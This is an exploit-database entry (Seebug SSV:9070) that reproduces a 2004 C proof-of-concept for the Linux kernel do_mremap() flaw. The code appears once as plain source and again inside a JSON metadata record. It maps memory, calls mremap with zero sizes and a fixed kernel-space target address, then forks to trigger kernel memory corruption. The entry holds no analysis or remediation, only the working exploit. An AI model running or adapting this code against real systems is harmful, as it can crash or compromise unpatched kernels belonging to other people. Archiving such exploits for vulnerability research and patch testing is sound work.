Linux Kernel "do_mremap" Local Proof of Concept
2008-07-16T00:00:00
ID SSV:9070 Type seebug Reporter Root Modified 2008-07-16T00:00:00
Description
No description provided by source.
/*
* Proof-of-concept exploit code for do_mremap()
*
* Copyright (C) 2004 Christophe Devine and Julien Tinnes
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>
#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2
#define __NR_real_mremap __NR_mremap
static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );
int main( void )
{
void *base;
base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );
real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
(void *) 0xC0000000 );
fork();
return( 0 );
}
{"href": "https://www.seebug.org/vuldb/ssvid-9070", "status": "poc", "bulletinFamily": "exploit", "modified": "2008-07-16T00:00:00", "title": "Linux Kernel "do_mremap" Local Proof of Concept", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-9070", "cvelist": [], "description": "No description provided by source.", "viewCount": 4, "published": "2008-07-16T00:00:00", "sourceData": "\n /*\r\n * Proof-of-concept exploit code for do_mremap()\r\n *\r\n * Copyright (C) 2004 Christophe Devine and Julien Tinnes\r\n *\r\n * This program is free software; you can redistribute it and/or modify\r\n * it under the terms of the GNU General Public License as published by\r\n * the Free Software Foundation; either version 2 of the License, or\r\n * (at your option) any later version.\r\n *\r\n * This program is distributed in the hope that it will be useful,\r\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n * GNU General Public License for more details.\r\n *\r\n * You should have received a copy of the GNU General Public License\r\n * along with this program; if not, write to the Free Software\r\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\r\n */\r\n\r\n#include <asm/unistd.h>\r\n#include <sys/mman.h>\r\n#include <unistd.h>\r\n#include <errno.h>\r\n\r\n#define MREMAP_MAYMOVE 1\r\n#define MREMAP_FIXED 2\r\n\r\n#define __NR_real_mremap __NR_mremap\r\n\r\nstatic inline _syscall5( void *, real_mremap, void *, old_address,\r\n size_t, old_size, size_t, new_size,\r\n unsigned long, flags, void *, new_address );\r\n\r\nint main( void )\r\n{\r\n void *base;\r\n\r\n base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,\r\n MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );\r\n\r\n real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,\r\n (void *) 0xC0000000 );\r\n\r\n fork();\r\n\r\n return( 0 );\r\n}\n ", "id": "SSV:9070", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T21:34:45", "reporter": "Root", "enchantments": {"score": {"value": 0.2, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.2}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645268198}}